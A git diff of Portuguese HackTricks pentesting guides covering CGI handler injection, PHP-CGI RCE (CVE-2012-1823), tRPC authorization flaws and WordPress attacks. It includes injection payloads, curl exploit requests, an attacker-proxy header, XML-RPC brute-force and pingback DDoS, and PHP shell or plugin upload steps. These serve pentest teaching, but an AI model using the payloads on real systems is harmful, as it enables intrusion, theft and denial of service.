alguns handlers esquecem auth checks e são diretamente chamáveis. -- Focar em handlers que invocam system utilities ou touch files; validadores fracos frequentemente bloqueiam apenas alguns caracteres e podem perder o hífen inicial `-`. +- Enumerar nomes de handler: scrape JS/HTML, brute-force com wordlists, ou unpack firmware e grep por strings de handler usadas pelo dispatcher. +- Testar acessibilidade sem autenticação: alguns handlers esquecem checagens de auth e podem ser chamados diretamente. +- Focar em handlers que invocam system utilities ou manipulam arquivos; validadores fracos frequentemente bloqueiam apenas alguns caracteres e podem não detectar o hífen inicial `-`. Formas genéricas de exploit: ```http @@ -75,30 +75,30 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; # 3) Validator bypass → arbitrary file write in file-touching handlers topicurl=setWizardCfg&=/etc/init.d/S99rc ``` -Detection and hardening: +Detecção e endurecimento: -- Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers. -- Flag parameters that begin with `-` (argv option injection attempts). -- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags. +- Fique atento a requisições não autenticadas para endpoints CGI centralizados com `topicurl` definido para handlers sensíveis. +- Marque parâmetros que começam com `-` (tentativas de injeção de opções argv). +- Fornecedores: aplique autenticação em todos os handlers que mudam estado, valide usando allowlists/tipos/tamanhos estritos, e nunca passe strings controladas pelo usuário como flags de linha de comando. ## PHP antigo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -Basicamente, se o CGI estiver ativo e o PHP for "antigo" \(<5.3.12 / < 5.4.2\) você pode executar código. +Basicamente, se cgi estiver ativo e o php for "antigo" \(<5.3.12 / < 5.4.2\) você pode executar código. Para explorar essa vulnerabilidade você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros \(especialmente sem enviar o caractere "="\). -Então, para testar essa vulnerabilidade, você pode acessar por exemplo `/index.php?-s` \(note o `-s`\) e **o código-fonte da aplicação aparecerá na resposta**. +Em seguida, para testar a vulnerabilidade, você pode acessar, por exemplo, `/index.php?-s` \(observe o `-s`\) e **o código-fonte da aplicação aparecerá na resposta**. -Para obter **RCE** você pode enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado no **corpo da requisição. -Example:** +Então, para obter **RCE** você pode enviar esta query especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado deve estar no **corpo da requisição**. +Exemplo: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Mais informações sobre o vuln e possíveis exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Mais informações sobre the vuln e possíveis exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM para requisições do servidor web\)** +## **Proxy \(MitM para requisições ao servidor Web\)** -CGI cria uma variável de ambiente para cada cabeçalho na requisição HTTP. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com" +CGI cria uma variável de ambiente para cada header na requisição HTTP. Por exemplo: "host:web.com" é criada como "HTTP_HOST"="web.com" -Como a variável HTTP_PROXY pode ser usada pelo servidor web, tente enviar um **header** contendo: "**Proxy: <IP_attacker>:<PORT>**" e, se o servidor executar qualquer requisição durante a sessão, você poderá capturar cada requisição feita pelo servidor. +Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um **header** contendo: "**Proxy: <IP_attacker>:<PORT>**" e, se o servidor realizar qualquer requisição durante a sessão, você poderá capturar cada requisição feita pelo servidor. ## **Referências** diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 7ca2d9941..d364b8643 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -1,55 +1,97 @@ -# Web API Pentesting +# Pentesting de API Web {{#include ../../banners/hacktricks-training.md}} -## Resumo da Metodologia de Pentesting de API +## Resumo da Metodologia de Pentesting de APIs Pentesting de APIs envolve uma abordagem estruturada para descobrir vulnerabilidades. Este guia encapsula uma metodologia abrangente, enfatizando técnicas e ferramentas práticas. ### **Entendendo os Tipos de API** -- **SOAP/XML Web Services**: Utilizam o formato WSDL para documentação, geralmente encontrado em caminhos `?wsdl`. Ferramentas como **SOAPUI** e **WSDLer** (Extensão do Burp Suite) são instrumentais para analisar e gerar requisições. A documentação de exemplo está acessível em [DNE Online](http://www.dneonline.com/calculator.asmx). -- **REST APIs (JSON)**: A documentação geralmente vem em arquivos WADL, mas ferramentas como [Swagger UI](https://swagger.io/tools/swagger-ui/) fornecem uma interface mais amigável para interação. **Postman** é uma ferramenta valiosa para criar e gerenciar requisições de exemplo. -- **GraphQL**: Uma linguagem de consulta para APIs que oferece uma descrição completa e compreensível dos dados na sua API. +- **SOAP/XML Web Services**: Use o formato WSDL para documentação, tipicamente encontrado em caminhos `?wsdl`. Ferramentas como **SOAPUI** e **WSDLer** (Burp Suite Extension) são úteis para analisar e gerar requisições. Documentação de exemplo está acessível em [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)**: A documentação frequentemente vem em arquivos WADL, mas ferramentas como [Swagger UI](https://swagger.io/tools/swagger-ui/) fornecem uma interface mais amigável para interação. **Postman** é uma ferramenta valiosa para criar e gerenciar requisições de exemplo. +- **GraphQL**: Uma query language para APIs que oferece uma descrição completa e compreensível dos dados na sua API. -### **Laboratórios Práticos** +### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): Uma API deliberadamente vulnerável para prática prática, cobrindo as 10 principais vulnerabilidades de API da OWASP. +- [**VAmPI**](https://github.com/erev0s/VAmPI): Uma API deliberadamente vulnerável para prática hands-on, cobrindo as vulnerabilidades OWASP top 10 para APIs. -### **Truques Eficazes para Pentesting de API** +### **Effective Tricks for API Pentesting** -- **Vulnerabilidades SOAP/XML**: Explore vulnerabilidades XXE, embora declarações DTD sejam frequentemente restritas. Tags CDATA podem permitir a inserção de payloads se o XML permanecer válido. -- **Escalonamento de Privilégios**: Teste endpoints com diferentes níveis de privilégio para identificar possibilidades de acesso não autorizado. -- **Configurações CORS Incorretas**: Investigue as configurações CORS para potencial explorabilidade através de ataques CSRF a partir de sessões autenticadas. -- **Descoberta de Endpoints**: Aproveite padrões de API para descobrir endpoints ocultos. Ferramentas como fuzzers podem automatizar esse processo. -- **Manipulação de Parâmetros**: Experimente adicionar ou substituir parâmetros em requisições para acessar dados ou funcionalidades não autorizadas. -- **Teste de Métodos HTTP**: Varie os métodos de requisição (GET, POST, PUT, DELETE, PATCH) para descobrir comportamentos inesperados ou divulgações de informações. -- **Manipulação de Content-Type**: Alterne entre diferentes tipos de conteúdo (x-www-form-urlencoded, application/xml, application/json) para testar problemas de análise ou vulnerabilidades. -- **Técnicas Avançadas de Parâmetros**: Teste com tipos de dados inesperados em payloads JSON ou brinque com dados XML para injeções XXE. Além disso, experimente poluição de parâmetros e caracteres curinga para testes mais amplos. -- **Teste de Versões**: Versões mais antigas de APIs podem ser mais suscetíveis a ataques. Sempre verifique e teste contra múltiplas versões de API. +- **SOAP/XML Vulnerabilities**: Explore vulnerabilidades XXE, embora declarações DTD frequentemente sejam restritas. Tags CDATA podem permitir a inserção de payloads se o XML permanecer válido. +- **Privilege Escalation**: Teste endpoints com níveis de privilégio variados para identificar possibilidades de acesso não autorizado. +- **CORS Misconfigurations**: Investigue as configurações de CORS para possível explorabilidade via ataques CSRF a partir de sessões autenticadas. +- **Endpoint Discovery**: Aproveite padrões de API para descobrir endpoints ocultos. Ferramentas como fuzzers podem automatizar esse processo. +- **Parameter Tampering**: Experimente adicionar ou substituir parâmetros em requisições para acessar dados ou funcionalidades não autorizadas. +- **HTTP Method Testing**: Varie os métodos de requisição (GET, POST, PUT, DELETE, PATCH) para descobrir comportamentos inesperados ou divulgações de informação. +- **Content-Type Manipulation**: Mude entre diferentes content types (x-www-form-urlencoded, application/xml, application/json) para testar problemas de parsing ou vulnerabilidades. +- **Advanced Parameter Techniques**: Teste com tipos de dados inesperados em payloads JSON ou brinque com dados XML para injeções XXE. Também tente parameter pollution e caracteres curinga para testes mais amplos. +- **Version Testing**: Versões mais antigas da API podem ser mais suscetíveis a ataques. Sempre verifique e teste múltiplas versões da API. -### **Ferramentas e Recursos para Pentesting de API** +### Autorização & Lógica de Negócio (AuthN != AuthZ) — armadilhas do tRPC/Zod protectedProcedure -- [**kiterunner**](https://github.com/assetnote/kiterunner): Excelente para descobrir endpoints de API. Use-o para escanear e forçar caminhos e parâmetros contra APIs-alvo. +Stacks TypeScript modernos frequentemente usam tRPC com Zod para validação de entrada. No tRPC, `protectedProcedure` tipicamente garante que a requisição possui uma sessão válida (authentication) mas não implica que o caller tem o papel/permissões corretas (authorization). Essa discrepância leva a Broken Function Level Authorization/BOLA se procedimentos sensíveis forem protegidos apenas por `protectedProcedure`. + +- Threat model: Qualquer usuário autenticado com baixo privilégio pode chamar procedimentos de nível admin se verificações de role/permissão estiverem ausentes (ex.: migrações background, feature flags, manutenção em tenant-wide, controle de jobs). +- Black-box signal: Endpoints `POST /api/trpc/.` que têm sucesso para contas básicas quando deveriam ser exclusivos de admins. Signups self-serve aumentam drasticamente a explorabilidade. +- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`. + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Exploração prática (black-box) + +1) Registre uma conta normal e obtenha uma sessão autenticada (cookies/headers). +2) Enumere tarefas em segundo plano ou outros recursos sensíveis via procedimentos “list”/“all”/“status”. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) Invocar ações privilegiadas, como reiniciar um job: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Impacto a avaliar + +- Corrupção de dados via reinícios não-idempotentes: Forçar execuções concorrentes de migrações/workers pode criar condições de corrida e estados parciais inconsistentes (perda silenciosa de dados, análises corrompidas). +- DoS via worker/DB starvation: Acionar repetidamente jobs pesados pode esgotar pools de workers e conexões do banco de dados, causando outages que afetam todo o tenant. + +### **Ferramentas e Recursos para API Pentesting** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): Excelente para descobrir endpoints de API. Use-o para escanear e brute force paths e parâmetros contra APIs alvo. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj é uma ferramenta de linha de comando projetada para auxiliar na auditoria de **arquivos de definição Swagger/OpenAPI expostos** verificando os endpoints da API associados para autenticação fraca. Também fornece modelos de comando para testes manuais de vulnerabilidade. -- Ferramentas adicionais como **automatic-api-attack-tool**, **Astra** e **restler-fuzzer** oferecem funcionalidades personalizadas para testes de segurança de API, variando de simulação de ataque a fuzzing e varredura de vulnerabilidades. +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj é uma ferramenta de linha de comando projetada para auxiliar na auditoria de **exposed Swagger/OpenAPI definition files** verificando os endpoints de API associados quanto à autenticação fraca. Também fornece modelos de comando para testes manuais de vulnerabilidades. +- Ferramentas adicionais como **automatic-api-attack-tool**, **Astra**, e **restler-fuzzer** oferecem funcionalidades específicas para testes de segurança de API, que vão desde simulação de ataques até fuzzing e escaneamento de vulnerabilidades. - [**Cherrybomb**](https://github.com/blst-security/cherrybomb): É uma ferramenta de segurança de API que audita sua API com base em um arquivo OAS (a ferramenta é escrita em rust). -### **Recursos de Aprendizado e Prática** +### **Recursos para Aprendizado e Prática** -- **OWASP API Security Top 10**: Leitura essencial para entender vulnerabilidades comuns de API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **OWASP API Security Top 10**: Leitura essencial para entender as vulnerabilidades comuns em APIs ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). - **API Security Checklist**: Uma lista de verificação abrangente para proteger APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters**: Para caçar vulnerabilidades de API, Logger++ oferece filtros úteis ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints List**: Uma lista curada de potenciais endpoints de API para fins de teste ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **Logger++ Filters**: Para caçar vulnerabilidades em API, o Logger++ oferece filtros úteis ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: Uma lista selecionada de endpoints de API potenciais para fins de teste ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Referências - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 0edfeb53d..5c9a3cd1c 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -12,33 +12,33 @@ - In **wp-config.php** you can find the root password of the database. - Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Arquivos Principais do WordPress** +### **Principais Arquivos do WordPress** - `index.php` -- `license.txt` contém informações úteis, como a versão do WordPress instalada. -- `wp-activate.php` é usado para o processo de ativação por email ao configurar um novo site WordPress. -- Pastas de login (podem ser renomeadas para ocultá-las): +- `license.txt` contains useful information such as the version WordPress installed. +- `wp-activate.php` is used for the email activation process when setting up a new WordPress site. +- Login folders (may be renamed to hide it): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress REST API. -- A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados. +- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pelo WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- The `wp-content` folder is the main directory where plugins and themes are stored. - `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados. -- `wp-includes/` é o diretório onde os arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets. -- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todos os posts públicos e tipos de post e taxonomias publicamente consultáveis. +- `wp-includes/` É o diretório onde arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets. +- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias publicamente consultáveis. **Pós-exploração** -- O arquivo `wp-config.php` contém informações necessárias para o WordPress conectar-se ao banco de dados, como o nome do banco de dados, host do banco, nome de usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas. +- O arquivo `wp-config.php` contém informações necessárias para o WordPress conectar-se ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, authentication keys e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas. ### Permissões de Usuários -- **Administrador** -- **Editor**: Publica e gerencia suas e outras publicações -- **Autor**: Publica e gerencia suas próprias publicações -- **Colaborador**: Escreve e gerencia suas publicações, mas não pode publicá-las -- **Assinante**: Navega pelas publicações e edita seu perfil +- **Administrator** +- **Editor**: Publica e gerencia seus próprios posts e os de outros +- **Author**: Publica e gerencia seus próprios posts +- **Contributor**: Escreve e gerencia seus posts, mas não pode publicá-los +- **Subscriber**: Visualiza posts e edita seu perfil ## **Enumeração Passiva** @@ -79,13 +79,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ``` ## Enumeração ativa -### Plugins and Themes +### Plugins e Temas -Você provavelmente não conseguirá encontrar todos os Plugins and Themes possíveis. Para descobrir todos eles, você precisará **ativamente Brute Force uma lista de Plugins and Themes** (espero que existam ferramentas automatizadas que contenham essas listas). +Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **realizar ativamente um Brute Force em uma lista de Plugins e Temas** (esperançosamente existem ferramentas automatizadas que contêm essas listas). ### Usuários -- **ID Brute:** Você obtém usuários válidos de um site WordPress por Brute Forcing os IDs de usuários: +- **ID Brute:** Você obtém usuários válidos de um site WordPress ao Brute Forcing IDs de usuários: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -95,23 +95,23 @@ Se as respostas forem **200** ou **30X**, isso significa que o id é **válido** ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Outro endpoint `/wp-json/` que pode revelar algumas informações sobre usuários é: +Outro endpoint `/wp-json/` que pode revelar algumas informações sobre users é: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Observe que este endpoint expõe apenas usuários que fizeram uma publicação. **Somente informações sobre os usuários que tiverem esse recurso ativado serão fornecidas**. +Observe que este endpoint expõe apenas usuários que fizeram um post. **Somente informações sobre os usuários que têm esse recurso ativado serão fornecidas**. -Além disso, observe que **/wp-json/wp/v2/pages** could leak IP addresses. +Também observe que **/wp-json/wp/v2/pages** could leak IP addresses. -- **Login username enumeration**: Ao fazer login em **`/wp-login.php`** a **mensagem** é **diferente** ao indicar se o **username** existe ou não. +- **Login username enumeration**: Ao tentar logar em **`/wp-login.php`** a **mensagem** é **diferente**, indicando se o **username** existe ou não. ### XML-RPC -Se `xml-rpc.php` estiver ativo você pode realizar um credentials brute-force ou usá-lo para lançar ataques DoS a outros recursos. (Você pode automatizar esse processo [usando isto](https://github.com/relarizky/wpxploit), por exemplo). +Se `xml-rpc.php` estiver ativo você pode realizar um brute-force de credenciais ou usá-lo para lançar ataques DoS a outros recursos. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). -Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requisição: +Para verificar se está ativo tente acessar _**/xmlrpc.php**_ e enviar esta requisição: -**Verifique** +**Verificar** ```html system.listMethods @@ -122,7 +122,7 @@ Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requ **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você conseguir encontrar qualquer um deles, você pode enviar algo como: +**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você encontrar qualquer um deles, pode enviar algo como: ```html wp.getUsersBlogs @@ -168,18 +168,18 @@ Usando as credenciais corretas você pode fazer upload de um arquivo. Na respost ``` -Também existe uma maneira **mais rápida** de brute-force credenciais usando **`system.multicall`** já que você pode testar várias credenciais na mesma requisição: +Além disso, existe uma **maneira mais rápida** de brute-force de credenciais usando **`system.multicall`**, pois você pode testar várias credenciais na mesma requisição:
**Contornar 2FA** -Esse método foi pensado para programas e não para humanos, e é antigo; portanto não suporta 2FA. Então, se você tem credenciais válidas mas a entrada principal está protegida por 2FA, **você pode ser capaz de abusar de xmlrpc.php para fazer login com essas credenciais contornando a 2FA**. Observe que você não poderá executar todas as ações que pode fazer através do console, mas ainda assim pode chegar a RCE como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Então, se você tiver creds válidas mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas creds contornando a 2FA**. Note que você não poderá realizar todas as ações que consegue através do console, mas ainda assim pode conseguir RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS ou port scanning** -Se você encontrar o método _**pingback.ping**_ dentro da lista, você pode fazer o Wordpress enviar uma requisição arbitrária para qualquer host/porta.\ -Isso pode ser usado para solicitar que **milhares** de **sites** Wordpress **acessem** um único **local** (causando assim um **DDoS** naquele local) ou você pode usá-lo para fazer o **Wordpress** realizar um **scan** de alguma **rede** interna (você pode indicar qualquer porta). +Se você conseguir encontrar o método _**pingback.ping**_ dentro da lista, você pode fazer o Wordpress enviar uma requisição arbitrária para qualquer host/porta.\ +Isso pode ser usado para pedir que **milhares** de **sites** Wordpress **acessem** um único **local** (causando um **DDoS** naquele local) ou você pode usá-lo para fazer o **Wordpress** **scan** alguma **rede** interna (você pode indicar qualquer porta). ```html pingback.ping @@ -191,9 +191,9 @@ Isso pode ser usado para solicitar que **milhares** de **sites** Wordpress **ace ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Se você obtiver **faultCode** com um valor **maior** do que **0** (17), isso significa que a porta está aberta. +Se você obtiver **faultCode** com um valor **maior** que **0** (17), isso significa que a porta está aberta. -Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS. +Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar deste método para causar DDoS. **DDoS** ```html @@ -209,15 +209,15 @@ Veja o uso de **`system.multicall`** na seção anterior para aprender como abus ### wp-cron.php DoS -Este arquivo normalmente existe na raiz do site Wordpress: **`/wp-cron.php`**\ -Quando este arquivo é **acessado**, uma consulta MySQL "**heavy**" é executada, então ele pode ser usado por **attackers** para **causar** um **DoS**.\ +Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\ +Quando este arquivo é **acessado**, uma "**pesada**" MySQL **consulta** é executada, então ele pode ser usado por **atacantes** para **causar** um **DoS**.\ Além disso, por padrão, o `wp-cron.php` é chamado a cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS). -Recomenda-se desativar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas). +Recomenda-se desabilitar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas). ### /wp-json/oembed/1.0/proxy - SSRF -Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Wordpress pode fazer uma requisição para você. +Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o Worpress site pode fazer uma requisição para você. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Esta ferramenta verifica se existe o **methodName: pingback.ping** e o caminho **/wp-json/oembed/1.0/proxy**, e se existirem, tenta explorá-los. +Esta ferramenta verifica se o **methodName: pingback.ping** existe e se o path **/wp-json/oembed/1.0/proxy** também existe; se existirem, tenta explorá-los. ## Ferramentas Automáticas ```bash @@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Obter acesso sobrescrevendo um bit -Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`). +Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você podia inverter 1 bit de qualquer arquivo do wordpress. Então você podia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Painel RCE** -**Modificando um php do tema usado (credenciais admin necessárias)** +**Modificando um arquivo php do tema usado (credenciais admin necessárias)** -Aparência → Editor de Temas → Template 404 (à direita) +Aparência → Editor de Tema → Modelo 404 (à direita) -Substitua o conteúdo por um php shell: +Altere o conteúdo para um php shell: ![](<../../images/image (384).png>) -Pesquise na internet como acessar essa página atualizada. Nesse caso você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Pesquise na internet como acessar essa página atualizada. Neste caso, você precisa acessar: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -269,61 +269,61 @@ para obter uma sessão. ### PHP plugin -Pode ser possível fazer upload de arquivos .php como um plugin.\ -Crie seu backdoor php usando, por exemplo: +It may be possible to upload .php files as a plugin.\ +Crie seu php backdoor usando por exemplo: ![](<../../images/image (183).png>) -Depois adicione um novo plugin: +Then add a new plugin: ![](<../../images/image (722).png>) -Faça upload do plugin e pressione Install Now: +Upload plugin and press Install Now: ![](<../../images/image (249).png>) -Clique em Procced: +Click on Procced: ![](<../../images/image (70).png>) -Provavelmente isso aparentemente não fará nada, mas se você for em Media, verá seu shell enviado: +Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: ![](<../../images/image (462).png>) -Acesse-o e você verá a URL para executar o reverse shell: +Access it and you will see the URL to execute the reverse shell: ![](<../../images/image (1006).png>) -### Uploading and activating malicious plugin +### Upload e ativação de plugin malicioso -Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e que pode ser explorado para obter um web shell. Esse processo é realizado através do WordPress dashboard da seguinte forma: +This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: -1. **Aquisição do plugin**: O plugin é obtido de uma fonte como Exploit DB, por exemplo [**here**](https://www.exploit-db.com/exploits/36374). -2. **Instalação do plugin**: +1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374). +2. **Instalação do Plugin**: - Navegue até o WordPress dashboard, então vá para `Dashboard > Plugins > Upload Plugin`. -- Faça o upload do arquivo zip do plugin baixado. -3. **Ativação do plugin**: Depois que o plugin for instalado com sucesso, ele deve ser ativado através do dashboard. -4. **Exploitation**: +- Faça upload do arquivo zip do plugin baixado. +3. **Ativação do Plugin**: Uma vez que o plugin seja instalado com sucesso, ele precisa ser ativado através do dashboard. +4. **Exploração**: - Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado pois é conhecido por ser vulnerável. -- O Metasploit framework fornece um exploit para essa vulnerabilidade. Ao carregar o módulo apropriado e executar comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site. +- O framework Metasploit fornece um exploit para essa vulnerabilidade. Ao carregar o módulo apropriado e executar comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site. - Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress. -O conteúdo inclui auxílios visuais mostrando os passos no WordPress dashboard para instalar e ativar o plugin. Contudo, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e somente em um contexto legal, como pentesting com permissão explícita. +O conteúdo inclui recursos visuais que descrevem os passos no WordPress dashboard para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa forma é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como pentesting com permissão explícita. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## De XSS para RCE +## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras 